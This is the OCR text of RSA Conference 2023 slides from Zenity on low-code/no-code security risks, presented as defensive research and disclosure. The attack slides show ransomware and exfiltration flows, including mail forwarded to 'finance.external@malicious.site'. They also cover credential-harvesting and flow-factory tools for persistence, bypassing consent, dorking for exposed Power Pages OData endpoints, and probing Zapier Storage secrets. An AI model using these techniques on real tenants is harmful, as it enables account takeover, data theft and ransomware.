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Outline

e Low-code / no-code in a nutshell
e The low-code / no-code SDLC and (lack of) security controls

e Low Code attacks observed in the wild

— Living off the land — account takeover, lateral movement, PrivEsc, data
exfil

— Hiding in plain sight
— Leveraging predictable misconfiguration from the outside

e How to defend
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Low-Code / No-Code in a
Nutshell

EVERYONE is a developer

#RSAC



Why Low Code?

Business Needs

DD
[T Capacity

NEXT QUARTER m \
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Stronger

If this sounds familiar, its because it is e
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COVID health check app by Microsoft

Starting Jume 1, 2022, FTEs and external staff with @microsoft.com accounts must sign-in from either Microsoft

issued/imaged devices or Imtune enrolled device:s. Learn more

Take the daily COVID-19 check

Your health and well-being are important. Each day, before entering Microsoft facilities, you'll be required to
complete a screening based on local reguirements, We'll ask a couple of questions and it should only take a minute

t looks like your current location is near Giv'atayim, Tel Awviv, Israel . If this isn't correct, please change your
ocation

What does Microsoft do with the information?

https://aka.ms/healthcheck

For issues or concerns contact nicrosoft.com

Microsoft Data Privacy Motice dentity Terms of Use  Feedback
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Order-to-cash automation by Slack

5 slack

Automating order to cash fulfillment

5 slack

Financials Bot

&>

&3

¥ zenity

> workday

Financials

Billing

v

k Mission
> wor Ofo ~ Control
A .

Slack Product

Provisioning

0
» 5= slack

Manual Exception Handling
(Sales Ops, Accounting, CS)

80% no touch orders

95% orders processed in less

than 5 minutes

Delightful experience from
Sales Opportunity to
Product Fulfillment

“Choose tools that make developing
and managing Integrations a joy.”

Monica Wilkinson
Lead Architect

Stronger
Together

https://www.workato.
com/the-
connector/how-
slack-automated-
order-to-cash/
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Business users become business developers

="'~ Microsoft | Inside Track Search content ~ Audience v Topic v Content Suites  Videos

How citizen developers modernized Microsoft
product launches

Mar 20, 2020 | Serah Delaini

% zenity

Blog  Careers

“... A Business Operations program
manager, and her team, were
searching for a way to optimize the
launch process for the 150
employees who ran product
launches across the company.

... Within months, the app would
become a widely used internal
tool”

https://www.microsoft.com/insidetrack/blog/how-citizen-developers-modernized-
microsoft-product-launches/
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Available in every major enterprise

73 pTer m mendix
/M make
formerly Integromat ° salesforce
@ servicenow. P
33.6 . tsyst Appian
== Microsoft O outsystems PP
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The vast majority of enterprise apps

e “By 2025, 70% of new applications deployed for the enterprise will
use low-code or no-code tools” Gartner 2021

e “By 2023, the number of active citizen developers at large enterprises
will be at least four times the number of professional developers.”
Gartner 2021

e “we are going to have 500 million applications that are going to get
created, new, by 2023. Just to put that in perspective, that's more
than all of the applications that were created in the last 40 years.”
Satya Nadella, Microsoft Ignite 2019

- 4 zenlbg RSAConference2023 | 11



More MSFT low-code devs than .NET devs, today! e
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® Power Platform Devs @ .NET Devs ¢ ¢« Linear (Power Platform Devs) ¢ ¢« Linear (.NET Devs)

Sources: Microsoft Build 2018, Ignite 2019, Build 2020, Protocol 2022
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Exponential Growth in Business Development

No. Apps

o0
o
ZeN

74K

Thousands
(@)
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o\

37K

20K
9K

2018 2019 2020 2021 2022
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Recap — you can’t opt out of citizen development

e The next big productivity boost (Excel-level impact)

e Powers critical business workflows, predicted to power 70% of
enterprise apps by 2025

e Available on every major enterprise, yours too
e Millions of new (business) developers and growing fast

e Tens of thousands of apps in a large enterprise

! zenlbg RSAConference2023 | 14
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No Code No Control

We can’t handle low-code / no-code security by
doing more of what we’re already doing

#RSAC



#RSAC

Pro-Code SDLC Tosehe

Business

Engineering

Engineering

g Zef“b!:l QA RSAConference?2023 16



#RSAC

Secure SDLC —

Runtime protection

Ops Business

Runtime monitoring Security training

Ops Engineering

Vulnerability scanning Threat modeling

Security review

Security gates

Shift-left

Ops Engineering

Code scanning
(SAST/DAST/IAST)

: Security gates
gzenlbg Y& QA RSAConference?2023 17



Replace SDLC with “Hit Save to Deploy” s

Business Business

Manage

Business Business

Monitor Plan

Deploy

Business Business

Verify

g Zenlb!_-l Business RSAConference?2023 | 18



Lacking security controls s

Existing security control Low-code / no-code

Security training Can we expect business users to be security savvy?
Threat modeling Can’t scale to 000s apps/year

Security review Can’t scale to 000s apps/year

Code scanning No code to scan

Artifact scanning Mostly unavailable, overwhelming FPs

Security gates Lacking CI/CD

Vulnerability scanning No awareness to low-code leads to overwhelming FPs
Runtime monitoring Lacking logs

Runtime protection Lacking instrumentation

> Zenlby RSAConference2023 | 19



e Has access to business, health, financial data

e Runs as Saa$s

e Lacking SDLC

e Lacking security controls

e Developers with no security savviness

e 10-100x the scale of application development

! zenlbg RSAConference2023 | 20
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Low Code Attacks In The Wild

Living off the land



A simple example s

' b Mertowr ¢ Sy
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!zenlbg RSAConference?2023 ‘ 22



https://youtu.be/5naPxs0fEJc
https://youtu.be/5naPxs0fEJc

tep by ste

w4 pwntoso
X
Add a new app connection
I =
Add a new app connection . ‘
O slack [x) Zapier is requesting permission to access the
Add a new app connection pwntoso Slack workspace
Add a new app connection
a What will Zapier be able to view?
;i.‘ Slack > O slack
8 Content and info about you L4
Forms for Slack '|l. Slack Content and info about channels & conversations »
Forms for Slack :H Content and info about your workspace »
Dislack
Dislack What will Zapier be able to do?
1, Perform actions as you »
) Perform actions in channels & conversations >
88 Perform actions in your workspace »
. Cancel m
l © New connection added X
My connections @ -
Slarck @michaelbargury (pwntoso) ﬁl Share 0 @ by Kris S. 4
@michaelbargury (pwntoso) - added 21 seconds ago Zaps

% zenity
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Behind the scenes

¥ zenity

ooooooooooooo

ppppppppp

RESTful API
defined in
swagger

How does the app authenticate to slack?

How do different users get
duthenticated by the same app?

https://docs.microsoft.com/en-us/connectors/connectors

RSAConference?023
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Behind the scenes

Power Automate

#RSAC

Stronger
Together

RESTful API ..
®

[Credential and metadata store]

user token
user token
o]
cor on

Azure API
Management

* Power Apps

3}

Logic Apps

—

% zenity

defined in .-.
swagger

Storing and sharing
refresh tokens

https://docs.microsoft.com/en-us/connectors/connectors
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Ready, set, AUTOMATE!

ﬁ Premium

Add new Facebook Lead Ads leads to rows
on Google Sheets

Send myself a reminder in 10 minutes

By Microsoft
=l
450902
Send an email to responder when
response submitted in Microsoft Forms
By Microsoft Power Automate Community
Automated
214763
&
Add SQL Server rows with new caught
webhooks
Webhooks by Zapier + SQL Server -

% zenity

5B

Add info to a Google Sheet from new
Webhook POST requests

Webhooks b

Stronger
Together

Premit

B Premium

Creat

f .l" Premium
Forms o

Get Slack notifications for new information
soogleFt  from a Webhook

Save Gmail attachments to your Google

Drive

By Microsoft

Automated
32731

Save Qutlook.com email attachments to
your OneDrive

By Microsoft Power Automate Community

Automated
1ga098

Wahhanle ki Zaniar L Clanl 9

Send an email when a new message is
added in Microsoft Teams

By Microsoft Power Automate Community

Au’
35

B ™

Send emails via Gmail when Google Sheets
rows are updated

Google Sheets + Gmail -
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Lots of apps means lots of cred

Connections in Zenity Stage (default)

Name

Zenity

Zenity

{BaseResourcelrl)
HTTP with Azure AD

B

_stage.com
Microsoft Teams

B a2
3

SQL Server
_stage.com
SQL Server
stage.com
E - =
. 5QL Server
- _stage.com
SharePoint
_stage.com

Power Platform for Admins

_stage.com
Power Platform for Admins

¥ zenity

B O

€ B @ @ 8 0O

ystage.com
Microsaft Dataverse {legacy)

Bitbucket
Bitbucket (preview)

ystage.com
Azure Resource Manager

ystage.com
Office 365 Management API

ConnectionToFadiStorageAccount
Azure Blob Storage
SQL Server

ystage.com
Azure Blob Storage

ystage.com
Microsoft Dataverse

Connective eSignatures
Connective eSignatures (preview)

Connective eSignatures
Conneciive eSignatures (preview)

22

DB2

h@gmail.com
Dropbox

wre-sgl-server.databasewind...

B B H H B

NMELR

1w 3o

L tyio
Azure Key Vault

MSHN Weather
MSM Weather

\ _itage.com
Office 365 Outlook

| ___ . stagecom
Office 365 Users
i
OneDrive

Qutlook.com
Outlook.com

RSS
RSS

\ _stage.com
Salesforce

Mail
Mai

Mail
Mai

aviv-demo-2
ServiceMow

Aviv-Demo
ServiceMow

6681@gmail.com

Stronger
Together

1dago
5 mo ago
1hago
5dago
9 mo ago
57 min ago
4 mo ago
2wk ago
9 mo ago
7 mo ago
8 mo ago

9 mo ago

RSAConference?023
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#RSAC

Lots of apps means lots of credentials e

E ystage.com 1 oo
Microsoft Datawverse {legacy)

Connections in Zenity Stage (default) B - P -tyio -+ 1dago
Azure Key Vault

Bitbucket i

Bitbucket (preview)

n MSHN Weather 5 mo ago
Lleatner
MName u Az
’ | stage.com 1hago
putlook =
Zenity
Leniy , stage.com Sdzg0
ISETS
E {BaseResourcelrl) E
HTTP with Azure AD 6681@gmail.com 3 mo ago
_stage.com
m Microsoft Teams =7 mi
7 min ago
yllla)
E| ¥
. SQL Server ﬂ a
4 mo ago
stage.com
=] ST ’
. SOL Server E i — : | stage.com 2 wk ago
Salesforce -
stage.com Connective eSignatures
= ; g L C q )
. SOL Server Connective eSignatures (preview) Mail 9 mo ago
Mai
- _stage.com Connective eSignatures )
SharePoint Conneciive eSignatures (preview) Ma_'l 7 mao ago
Mai
stage.com 23
- el : E == aviv-demo-2
Power Platform for Admins DB2 m c N P i i i
senviceNow riviiege esca ation
stage.com h@gmail.com Avi
! - viv-Diel
Power Platform for Admins E Dropbox m £uiv-Deme =

ServiceMow
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Ransomware thru action connections

& SharePoint Ransomware ‘7 Undo L Comments

Manually trigger a flow

List folder

Apply to each file

E & O

n

elect an output from previous steps

Body x

- Get file content
Encrypt data with key
- Update file

f Add an action

% zenity

&) save s Flow checker A Test

®

E Choose an operation X

| &~ Fearch connectors and actions |
All Built-in  Standard Premium  Custom My clipboard
Excel Online MSN Mail Microsoft Notifications Office 36
(Business) Weather Teams Qutlook
OneDrive for Planner SharePoint 10to8 Actl Ahead
Business Appointme.
Appfigures Asana Azure AD Azure Basecamp 3 Bing Search
Cognitive..
S &
Bitly Blogger Box Buffer Campfire Cognito
Forms
Computer Content Custom Dropbox Elastic Forms
Vision API Conversion Moderator Vision
Encodian Excel Online FTP File System Freshdesk
(QneDrive) e

Ransomware

RSAConference?023
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Exfiltrate email thru the platform’s email account e

Together

When a new email arrives (V3) @ s \l/

Delete email (V2
Folder Inbox =3 ( ) @

*Message Id . Message Id x
Show advanced options & g

Original Mailbox . .
finance@company:.site
\l, Address @ pany

E Send an email notification (V3) ®@

*To

finance.external@malicious.site

*Subject | Finance email notification ‘

*Body Font v+ 12v B [ U /=

From: . From x

Subject: Fo5ll subject
Body: i) Body x

Show advanced options

i
S

<f>

J’ [ Data exfiltration ]

% zenity
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Move to machine suonger

Machines

L]
Check the real-time health and status of your machines and the desktop flows running on them. Learn more N O CO d e M a I Wa re °
Machines  Machine groups VM images (preview)  Gateways g it h u b CO m/m b rg/d efco n 3 O
— [ ]

Machine name 7 v Description Version Group Status Flows run... Flows que...  Ac.. ~ Owner
myrpa — 2.17.169.22042 Connected 0 0 Owner @ Kris S...
myrpa — 2.17.169.22042  MyGroup Connected 0 — Owner @ Kris S.
(] winT1 — 2.14.173.21294 Connected 0 0 Owner @ Kris S...
i '
gl,. Desktop flows @ X
I;Iﬂ Run a flow built with Power Automate for desktop @ .-

’ &~ Search connectors and actions

Triggers  Actions See more

*Run Mode Choose between running while signed in (attended) or in the backgrounc \/

Run a flow built with Power Automate for desktop | PREMIUM ®
w7

Desktop flows Attended (runs when you're signed in)

Show advanced options

Run a flow built with Seleniurm IDE | PREMIUM o Unattended (runs on a machine that's sianed out)
=

Desktop flows

Enter custom value

Lateral movement

% zenity
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https://github.com/mbrg/defcon30/tree/main/No_Code_Malware

#RSAC

Assess your risk with ZapCreds P

Command line

zapcreds --email John.Webb@mycompany.com --password password -out found_creds.csv

account_name  app_name connection_created connection _titl
Python

2021-06-

Marketing Dropbox
06T10:54:527

Dropbox

requests

zapcreds.harvest authenticate_session, get_credentials

2021-06- Gmail session = requests.Session()
AN thenticate_session(session, "John.Webb@mycompany.com”, "password")
06T10:00:14Z =
creds = get_credentials(session)

Marketing Gmail

2021-06- print(creds.columns)

Marketing Gmail
06T07:53:427

Google 2022-01- Google Calendar

Marketing e
Calendar 25T21:08:48Z

Google 2022-01- Google Drive

Marketing )
Drive 26T11:10:41Z

Google 2022-02- Google Sheets

SalesOps
Sheets 20T09:20:15Z

2022-03- OneNote

SalesOps OneNote
03T09:18:36Z #2

4

github.com/mbrg/zapcreds

! zenlbg RSAConference2023 | 32



https://github.com/mbrg/zapcreds

Phising made easy

e Set up a bait app that does something useful
e Host it under a trusted Microsoft domain
e Fool users to use it

e Take over their account

[ Account takeover ]

¥ zenity RSAConference2023 ‘ 33



#RSAC

Phising made easy seonge

youtu.b
e/v]ZpN
IRC 10

RSAConference?023 ‘ 34



https://youtu.be/vJZpNJRC_10
https://youtu.be/vJZpNJRC_10
https://youtu.be/vJZpNJRC_10

Stronger

Approval window to the rescue! i

Almost there ...
Out of Office_1526 needs your permission to use the following. Please allow
the permissions to proceed.

Office 365 Outlook
@ owner@zenitystage.com SwitcH:EGEott
Signed in View permissions

Office 365 Users
owner@zenitystage.com Suiicirascount
Signed in View permissions

m Don't Allow

! Zenl'-'-U RSAConference?023 | 35



Approval window to the rescue? Don’t opt out! | S

=Micr050ft | Docs Documentation Learn Q&A  Code Samples

Almost there ...

Out of Office_1526 needs your permission to use the following. Please allow
the permissions to proceed.

Set-AdminPowerAppApis
Office 365 Outlook
owner@zenitystage.com SitaH BECOE To Bypassconse nt

Signed in View permissions

Reference

Office 365 Users Module: M
owner@zenitystage.com Switch account I
Signed in View permissions

Sets the consent bypass of an app to true.

Description

The Set-AdminPowerAppApisToBypassConsent cmdlet changes the

consent bypass so that users are are not required to authorize API

connections for the input app. The command changes the bypassConsent
m Don't Allow flag of an app to true. Using this command, end users will observe

consent is bypassed for First Party connectors that support single sign-

on and custom connectors that don’t require authentication. This

includes custom connectors with or without a gateway.

https://docs.microsoft.com/en-us/powershell/module/microsoft.powerapps.administration.powershell/set-adminpowerappapistobypassconsent
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Low Code Attacks In The Wild

Hiding in plain sight



Why install malware when you can get your way

Stronger
Together

with no code?

INCIDENT DETAILS /// A i A R A
This APT group targets organizations across multiple
industries, including government agencies, financial
institutions, and technology companies.

Conditional access
could have prevented
unauthorized access.

mailbox access would have
detected malicious behavior.

@ Logging and auditing non-owner

Logging, at the time of
this incident, was not
enabled by default.

PARTNER & COMMAND &  ACTIONS ON  EXFILTRATE
VENDOR CONTROL OBJECTIVE DATA

@@®

MONITORING &
INTERCEPTION

®

0 Multi-factor authentication [MFA)
could have prevented this attack.

o—O o-O O > DART engaged
ERROR OR CONTROLS
NEGLECY ENVASION
; @ — DAYS // 016-163 ] Office 365 DAYS // 137-218
DELIVERY AY EXPLOITATION
@ Threat actors perform A Threat actor changes search and
(2 H A m @ @ mailbox searches across exfiltration technique, leveraging
- o Office 365 environment. Compliance Search to allow for DAYS // 137-143
Tl precision searches. Threalactis cronis
o—0

Introducing Compliance Search in rules in company's

DAYS // 01-11

APT group compromises

privileged user’s non-MFA-
enabled Office 365 account.

% zenity

1E

Attacker uses stolen
credentials to VPN into
corporate network,
searches for intellectual
property.

MONITORING &
INTERCEPTION

Office 365 - Microsoft 365 Blog—
Compliance Search is a new addition
to the Office 365 Compliance Center,
designed for times when the full-
fledged search case management of
eDiscovery search isn’t required.

IT environment to

automate data

exfiltration to a third-
party cloud storage
solution.

zenity.io/blog/
hackers-
abuse-low-
code-

Company did
compRoMISED : (@ ; nmo;nhi%ox/:t:/gPN Q g p | a tfo r m S -
@ enabled. g a nd_tu rn_

G Multi-factor authentication could

have prevented the threat actors

from accessing the environment
through the VPN.

AN (O /

MICROSOFT DETECTION AND RESPONSE TEAM // DART

RSAConference?023

them-against-
their-owners/

38


https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/
https://www.zenity.io/blog/hackers-abuse-low-code-platforms-and-turn-them-against-their-owners/

Dump files and tweet about it on a schedule e

& Leak SharePoint “) Undo [ Comments Save Y9 Flow checker A Test

-3
@ Recurrence

List folder [OEEED

Apply to each file

*

wn

elect an output from previous steps

- Body x

- Get file content @ .-
b

Encrypt data with key @ ..
Vv

Dump it @ .-
v

u Tweet about it

f Add an action

! zenlbg RSAConference2023 | 39



Encrypt on command

¥ zenity

TRIGGER

Rans via HTTP webhook | Real-time

ACTIONS

L Search files or folders in Google Drive

C]  FOREACH

End

itemin & Files Step2  do

Download file contents from Google Drive

Delete a file from Google Drive

Encrypt data

Upload small file to Google Drive

Stronger
Together

RSAConference?023
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Persistency

What do we want?

O Remote execution

1 Arbitrary payloads

0 Maintain access (even if user account access get revokes)
d Avoid detection

d Avoid attribution

3 No logs

- 4 zenlbg RSAConference2023 | 41



Persistency vl

Persistency

¥ zenity

TRIGGER

Rans via HTTP webhook | Real-time

ACTIONS

L Search files or folders in Google Drive

C]  FOREACH

End

itemin & Files Step2  do

Download file contents from Google Drive

Delete a file from Google Drive

Encrypt data

Upload small file to Google Drive

Stronger
Together

RSAConference?023
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Persistency vl

TRIGGER

1 Rans via HTTP webhook ' Real-time

ACTIONS

2 L Search files or folders in Google Drive

4
5
6
7
End

¥ zenity

itemin & Files Step2 do

Download file contents from Google Drive

Delete a file from Google Drive

Encrypt data

Upload small file to Google Drive

Stronger
Together

Persistency laundry list:

RSAConference?023
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Together

Persistency vl

RRRRRRR - Persistency laundry list:

AAAAAAA

+ @) sttt g Remote execution
] Arbitrary payloads

3 ] FOREACH itemin & Files Step2 do

L Download file contents from Google Drive

L Delete a file from Google Drive

B Encrypt data

L Upload small file to Google Drive

! zenlbg RSAConference2023 | 44



Persistency v1 —

RRRRRRR

T P — Persistency laundry list:

ACTIONS;

Workato webhook address O Copy

: B https:/ 'www.workato.com/webhooks/rest/4b Re m Ote exe C u ti O n

boafed-dc92-4b0e-b43c-63aTal0d4 Tee rans

| Xl Arbitrary payloads
e Maintain access

4 L Download file contents from Google Drive

5 L Delete a file from Google Drive

6 B Encrypt data

7 L Upload small file to Google Drive

g Zenlb!_-l RSAConference?023 | 45



Persistency vl —

RRRRRRR

T, P — Persistency laundry list:

AAAAAAA

Workato webhook address O Copy

Remote execution
Xl Arbitrary payloads
Maintain access

9 Avoid detection

L Delete a file from Google Drive

B Encrypt data

L Upload small file to Google Drive

Somebody else’s
cloud

g Zenlb!_-l RSAConference?023 | 46



Persistency vl

RRRRRRR

T, P Persistency laundry list:
AAAAAAA Workato webhook address £ Copy
) Remote execution
Call endpoint Xl Arbitrary payloads
anonymously to J Maintain access
execute Avoid detection
Avoid attribution

RSAConference?023 | 47



Stronger

Persistency vl i

RRRRRRR

Persistency laundry list:

ACT:)NS Workato webhook address £ Copy

o EH:( ) Remote execution

— x| Arbitrary payloads
Maintain access
- — . Avoid detection
= g— . ! Avoid attribution
R | | X No logs
0 pm, Jul | b

——
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Towards persistency

Our current state:

Remote execution
Xl Arbitrary payloads
Maintain access
Avoid detection
Avoid attribution
X1 No logs

! zenlbg RSAConference2023 | 49



Executing arbitrary commands —

Power Automate
Management

Power Automate Management connector enables interaction with Power
Automate Management service. For example: creating, editing, and updating
flows. Administrators who want to perform operations with admin privileges
should call actions with the ‘as Admin’ suffix.

[ See documentation

28

https://docs.microsoft.com/en-us/connectors/flowmanagement/
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Executing arbitrary commands —

91 Create Flow

* Environment Select environment N

@

*Flow Display Name

*Flow Definition

—_— Resubmit Flow
" Flow state

...........................................

©)

* Environment Select environment v

...........................................

* Flow Select flc e

*Trigger Name

SRun D he D etthe fle Delete Flow

* Environment Select environment N

®)

* Flow Select flo hd

g Zenlb!_-l RSAConference?023 51



Test your defense with Powerful

¢ Flow factory “) Undo [ Comments & Save Yy Flow checker

Switch

“0n B commancs act.

Case createFlow Case deleteFlow Case getConnections e

. Delete Flow

. Create Flow

*Environment B Commands Inp... x *

* Flow Displzy Mams E Commands Inp... % *Flaw B Commands Inp._. x

List My Connections

B Commands Inp.. x X * Environment B Commands Inp... x

E Commands Inp... = J’
T Add an action Set response to connections list @ eee
B Commands Inp... = *

E Commands Inp... x Hes) f Add an action

Set response to flowld [T

(....

W)

. Success

Failed
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Test your defense with Powerful T

from explore.flow factory.client import EXAMPLE, FlowFactory

WEBHOOK = "https://logic.azure.com:443/workflows/<workflow id>/triggers/manual/paths/invoke?api-version=2016-06-81&sig=<sig>"

tactory = FlowFactory(webhook=WEBHOOK)
connections = factory.get connections(environment id=EXAMPLE["environment”])

flow = factory.create flow(
environment id=EXAMPLE[ "environment™],
flow display name=EXAMPLE["flowDisplayName"],
flow state=EXAMPLE["flowState"],
flow definition=EXAMPLE[ "flowDefinition"],

connection references=EXAMPLE[ "connectionReferences"],

tactory.run_flow(environment id=EXAMPLE["environment™], flow id=flow["name"])

tactory.delete_flow(environment_ id=EXAMPLE["environment™], flow_id=flow["name"])
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¥ zenity

Test your defense with Powerful

When a e
Initalizer
sssss
Soitch
“on <amr
Case ceieteFon
deteteF]
Fow > § - Jete Fi D @ e > 4 -
[Bow ] | x ]
e Cormr | | l,
n | B commenss e |
(B o~ \ 2]
connctionRererences | [l
-
. 555555 8 E Failed a

1. Set up your flow factory
2. Control it though APl and a Python CLI

github.com/mbrg/powerful

Persistency laundry list:

Remote execution
Arbitrary payloads
Maintain access
Avoid detection
Avoid attribution
No logs
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Outside looking in



Power Portals/Pages 3o

P Microsoft Power Platform

The low code platform that spans Microsoft 365, Azure, Dynamics 365, and standalone apps.

| © » ¥ |$

Power BI Power Apps Power Automate Power Virtual Agenis Power Pages
Business analytics App development Process automation Intelligent virtual agenty ~ External-facing
websites

LY f‘, (o), The Interne

con[::c:ors Al Build (managEd Azure
SOL instance)
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Power Portals/Pages R

C @& zenzen123.powerappsportals.com 2 % P ?B % 0O A;‘
@ M Gmail @B YouTube @ Maps db dbéfreenet - MySQ.. IS How to Checkif an... Reverse Whois Loo... E Verifying the Email... O danielmiessler/SecL... & How to Hack APIs i...
| - i

@ Compa ny name Home | Pages~ | Contactus | Q | Sign

Add a call to action here
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What’s ODATA and why should we care

“An open protocol to allow the creation and consumption of
queryable and interoperable RESTful APIs in a simple and

standard way.”

Power portals can be configured to
provide access to SQL tables through
ODATA using a specific URL:

portal.powerappsportals.com/_odata
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What’s ODATA and why should we care

“An open protocol to allow the creation and consumption of
queryable and interoperable RESTful APIs in a simple and

standard way.”

Power portals can be configured to
provide access to SQL tables through
ODATA using a specific URL:

By Design: How Default
Permissions on Microsoft Power

portal.powerappsportals.com/_odata Apps Exposed Millions

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
¥ zenity RSAConference2023 | 59



https://www.zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/

The fun begins 2

Gotahlz find misconfigured portals that expose sensitive data w/o
auth.

Real world example:

v<service xmlns="http://www.w3.org/2007/app" xmlns:atom="http://www.w3.org/2005/Atom" xml:base=
v <workspace>
<atom:title type="text">Default</atom:title>
v<collection href="EntityFormSet">
<atom:title type="text">EntityFormSet</atom:title>
</collection>
v<collection href="globalvariables">
<atom:title type="text">globalvariables</atom:title>
</collection>
</workspace>
</service>

! zenlbg RSAConference2023 | 60



Nothing to see here

/_odata/globalvariables:

¥ zenity

"scs_globalvariablesid":" 24| G . scs n=mc":"Documents

APl Auth Token","scs_values™:"Bearer
eyJOeXAi

" "scs_purpose™:"This variable stores OAuth Token to access Azure

APL" "createdon”"20 T 18:03:397" ist-id""c< -

b9c","entity-permissions-enabled":"true"

Stronger
Together

RSAConference?023
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Can we scale it?

Recall the portal url:

& zenzenl123]powerappsportals.com

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
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Can we scale it? —-

Recall the portal url:

& zenzenl123]powerappsportals.com

Let's use Bing!

B" Microsoft Bing site:powerappsportals.com

ALL WORK IMAGES VIDEOS MAPS

57,200 Results

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
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ODATA leak - what we found

. Vulnerability disclosures are in progress

. Found
. Pll - emails, names, calendar events
. Secrets - API keys, authentication tokens

. Business data - sales accounts, business contacts,
vendor lists

zenity.io/blog/the-microsoft-power-apps-portal-data-leak-revisited-are-you-safe-now/
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Can we find more exposed data? e

[3 storage by Zapier Integrations
E Developer Tools, Zapier

Integrations Help

Do more with Storage by Zapier
integrations

Zapier lets you connect Storage by Zapier with thousands of the

most popular apps, so you can automate your work and have
more time for what matters most—no code required.

Connect Storage by Zapier to 5,000+ apps

Allow Zapier to access your
Storage by Zapier Account?

Store Secret

Enter a secret t hat will protect your data. Secret should

Cancel

! zenlbg RSAConference2023 | 65
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Can we find more exposed data? seonge

[3 storage by Zapier Integrations
E Developer Tools, Zapier

Integrations Help

Do more with Storage bv Zanier

Store data from code steps with
StoreClient

Last updated: July 23, 2020

The StoreClient is a built-in utility available in both Python and JavaScript code steps that lets
you store and retrieve data between Zaps or between runs of the same Zap.

P SECrets are secured
« Any JSON seralzable value can be saved by a random GUID

« The secret should use UUID4 format.

« Every key must be less than 32 characters in length.
¢ Every value must be less than 2500 bytes.
« Only 500 keys may be saved per secret.

« Keys will expire if you do not touch them in 3 months.

! zenlbg RSAConference2023 | 66



Storage by Zapier API

Stronger
Together

"how does it work?": {
"always provide either "~ ?secret=12345" or “X-Secret: 12345 ": ""

B

"where am i?": "you are at store.zapier.com”,

"what is it?": [
"store.zapier.com is a simple storage REST API tha
"might use to stash a bit of state. we use it to p
""StoreClient’™ in our Code steps of Zapier - you c

"more docs at https://zapier.com/help/code-python/
"https://zapier.com/help/code/."

"what can it do?": |
"only one endpoint - GET & POST to read and write,
"store any value that is JSON serializable"”,
"BYOS (bring your own secrets) for authentication™

¥ zenity

GET /api/records : |
"will return a full object of all values stored by default.”,
"you can also specify only the keys you want via the",
"querystring like ?key=coloré&key=age ."
].l
"POST /api/records™: [
"provide a body with a json object with keys/values you want",
"to store like "{\"color\": \"blue\", \"age\": 29} ."
15
"DELETE /api/records™: [
"completely clear all the records in this account”
1,
"PATCH /api/records™: [
"A data with a particular schema needs to be received.”,
"The schema specifies which action to do and with what parameters.”,
"For example {\"action\": \"increment_by\", \"data\": {\"key\": \"<key_
"The following actions are currently supported:",
"increment_by",
"set_value_if",
"remove_child_value”,
"set_child_value”,
"list_push”,
"list_pop"
]J

"For more about information about Storage by Zapier actions check out our

RSAConference?023
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Storage by Zapier API

Stronger
Together

"how does it work?": {
"always provide either " ?secret=12345" or

"X-Secret: 12345°": ""

B

"where am i?": "you are at store.zapier.com”,

"what is it?": [
"store.zapier.com is a simple storage REST API tha
"might use to stash a bit of state. we use it to p
""StoreClient’™ in our Code steps of Zapier - you c

"more docs at https://zapier.com/help/code-python/
"https://zapier.com/help/code/."

"what can it do?": |
"only one endpoint - GET & POST to read and write,
"store any value that is JSON serializable"”,

"BYOS (bring your own secrets) for authentication™

% zenity

GET /apil/records : |
"will return a full object of all value
"you can also specify only the keys you
"querystring like ?key=coloré&key=age ."
15
"POST /api/records™: [
"provide a body with a json object with
"to store like "{\"color\": \"blue\", \
15
"DELETE /api/records™: [
"completely clear all the records in th

1,

stored by default."”,
want via the",

keys/values you want",
age\": 29} ."

s account”

"PATCH /api/recor
"A data with a p
"The schema speg
"For example {\
"The following 4
"increment_by",
"set_value_if",
"remove_child_vg
"set_child_valus
"list_push”,
"list_pop"

‘12545
GUID..

\"<key_

1S N0t a

1,

"For more about information about Storage

by Zapier actions check out our

RSAConference?023
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Let’s see what happens.. syronger

G R g G https://store.zapier.com/api/records?secret=

aaliyah
aaren
aarika
{"error”: "Secrets must be valid UUID4s."}
aartjan
aarushi
abagael
abagail
abahri
ELLED
abbe
abbey
abbi

abbie

abby

abbye
abdalla
ELLEIRE]
abdul
abdullah

abe
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Let’s see what happens.. profit!

https://store.zapier.com/api/records?secret=

{"error”: "Secrets must be valid UUID4s."}

("bitcoinusd": "4 19", "dedupe": " .con", "postlinjection": "2021-05-02")}

https: / /[ oon. us/3 /94 R o - S '

Auth tokens, AP| keys, emails, phone no., crypto wallet [Ds..

gze"&'é"rﬁlty.io/blog/zapier-storage-exposes-sensitive-customer-daﬂ!@ﬁ«@bufer»ettc;e?023 70



https://www.zenity.io/blog/zapier-storage-exposes-sensitive-customer-data-due-to-poor-user-choices/
https://www.zenity.io/blog/zapier-storage-exposes-sensitive-customer-data-due-to-poor-user-choices/
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Summary

* You can’t opt out of citizen development
— 70% of enterprise apps by 2025
— Available on every major enterprise, yours too
— Millions of new (business) developers and growing fast

e Security controls are severely lacking
— Lacking SDLC
— Developers with no security savviness
— 10-100x the scale of application development

e Attackers are taking advantage of it by
— Living off the land — account takeover, lateral movement, PrivEsc, data exfil
— Hiding in plain sight
— Leveraging predictable misconfiguration from the outside

! zenlbg RSAConference2023 | 72



OWASP Low-Code / No-Code Top 10

e LCNC-SEC-01: Account Impersonation

o LCNC-SEC-02: Authorization Misuse

e LCNC-SEC-03: Data Leakage and Unexpected Consequences

o LCNC-SEC-04: Authentication and Secure Communication Failures
e LCNC-SEC-05: Security Misconfiguration

e LCNC-SEC-06: Injection Handling Failures

e LCNC-SEC-07: Vulnerable, Unmanaged and Untrusted Components
e LCNC-SEC-08: Data and Secret Handling Failures

e LCNC-SEC-09: Asset Management Failures

e LCNC-SEC-10: Security Logging and Monitoring Failures

g Zef“b!_-l RSAConference?023 73



https://github.com/OWASP/www-project-top-10-low-code-no-code-security-risks/blob/main/content/en/LCNC-SEC-01-Account-Impersonation.md
